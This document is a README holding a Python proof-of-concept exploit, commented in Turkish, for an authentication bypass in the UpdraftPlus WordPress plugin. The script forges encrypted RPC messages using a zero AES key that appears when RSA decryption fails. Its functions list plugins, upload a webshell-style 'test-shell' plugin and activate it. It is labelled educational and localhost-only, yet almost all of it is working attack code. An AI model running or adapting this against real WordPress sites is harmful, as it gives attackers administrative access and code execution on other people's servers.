README.md
Rendering markdown...
#!/usr/bin/env python3
"""
UpdraftPlus Authentication Bypass - Eğitim Amaçlı PoC
Yalnızca localhost / kendi test ortamınızda kullanın.
Açık: RSA decrypt() false döndüğünde AES anahtarı sıfıra collapse oluyor.
Bu script o davranışı simüle eder.
"""
import requests
import base64
import json
import struct
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
# ─────────────────────────────────────────
# HEDEF (sadece localhost!)
# ─────────────────────────────────────────
TARGET_URL = "http://localhost/wordpress/" # WordPress kurulumunuzun adresi
ADMIN_USER_ID = 1 # UpdraftCentral'a bağlanan admin ID
# ─────────────────────────────────────────
# ADIM 1: Sıfır AES Anahtarı ile Şifreleme
# Açık: rsa->decrypt() false dönünce
# setKey(false) → 16 byte 0x00 anahtarı kullanılıyor
# ─────────────────────────────────────────
ZERO_KEY = b'\x00' * 16
ZERO_IV = b'\x00' * 16
def encrypt_payload(payload: dict) -> str:
"""
Sıfır AES-128-CBC anahtarıyla mesajı şifreler.
Sunucu da aynı anahtarı kullanacak (açık nedeniyle).
"""
plaintext = json.dumps(payload).encode()
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, ZERO_IV)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
return base64.b64encode(ciphertext).decode()
# ─────────────────────────────────────────
# ADIM 2: Sahte udrpc_message Oluşturma
# Format: [3 byte hex len][sym_key][16 byte hex cipherlen][ciphertext]
# sym_key bozuk → RSA decrypt false döner → sıfır anahtar kullanılır
# ─────────────────────────────────────────
def build_udrpc_message(rpc_command: dict) -> str:
# Bozuk (garbage) RSA şifreli anahtar - decode edilemeyecek
fake_sym_key = base64.b64encode(b'\x41' * 128).decode() # 128 byte 'A'
sym_key_len = format(len(fake_sym_key), '03x') # 3 hex karakter
# Payload'ı sıfır anahtarla şifrele
encrypted_body = encrypt_payload(rpc_command)
cipher_len_hex = format(len(encrypted_body), '016x') # 16 hex karakter
message = sym_key_len + fake_sym_key + cipher_len_hex + encrypted_body
return message
# ─────────────────────────────────────────
# ADIM 3: RPC Komutları
# ─────────────────────────────────────────
def make_rpc_payload(command: str, params: dict) -> dict:
return {
"command": command,
"data": params,
"user_id": ADMIN_USER_ID
}
# ─────────────────────────────────────────
# ADIM 4: İsteği Gönder
# ─────────────────────────────────────────
def send_rpc(command: str, params: dict):
payload = make_rpc_payload(command, params)
message = build_udrpc_message(payload)
post_data = {
"udrpc_message": message
}
print(f"\n[*] Komut gönderiliyor : {command}")
print(f"[*] Parametreler : {params}")
print(f"[*] Hedef URL : {TARGET_URL}")
try:
resp = requests.post(TARGET_URL, data=post_data, timeout=10)
print(f"[+] HTTP Durum Kodu : {resp.status_code}")
print(f"[+] Yanıt (ilk 500) :\n{resp.text[:500]}")
return resp
except requests.exceptions.ConnectionError:
print("[!] Bağlantı hatası - WordPress çalışıyor mu?")
except Exception as e:
print(f"[!] Hata: {e}")
# ─────────────────────────────────────────
# ADIM 5: Örnek Saldırı Senaryoları
# ─────────────────────────────────────────
def test_plugin_list():
"""Yüklü pluginleri listele (zararsız keşif komutu)"""
send_rpc("plugin.get_plugins", {})
def test_upload_webshell():
"""
Zararlı plugin yükle (test için basit bir zip içeriği)
Gerçek testte buraya webshell.zip base64'ü gelir.
"""
# Minimal test plugin ZIP (gerçek test için kendi zip'inizi oluşturun)
fake_zip_b64 = base64.b64encode(b"PK\x03\x04...").decode()
send_rpc("plugin.upload_plugin", {
"plugin_zip": fake_zip_b64,
"plugin_name": "test-shell"
})
def test_activate_plugin():
"""Yüklenen plugini aktif et"""
send_rpc("plugin.activate_plugin", {
"plugin": "test-shell/test-shell.php"
})
# ─────────────────────────────────────────
# MAIN
# ─────────────────────────────────────────
if __name__ == "__main__":
print("=" * 55)
print(" UpdraftPlus Auth Bypass - Eğitim PoC")
print(" Yalnızca kendi localhost ortamınızda kullanın!")
print("=" * 55)
print("\n[1] Plugin listesi testi:")
test_plugin_list()
# Daha ileri test için aşağıdaki satırları aktif edin:
# print("\n[2] Webshell yükleme testi:")
# test_upload_webshell()
# print("\n[3] Plugin aktifleştirme testi:")
# test_activate_plugin()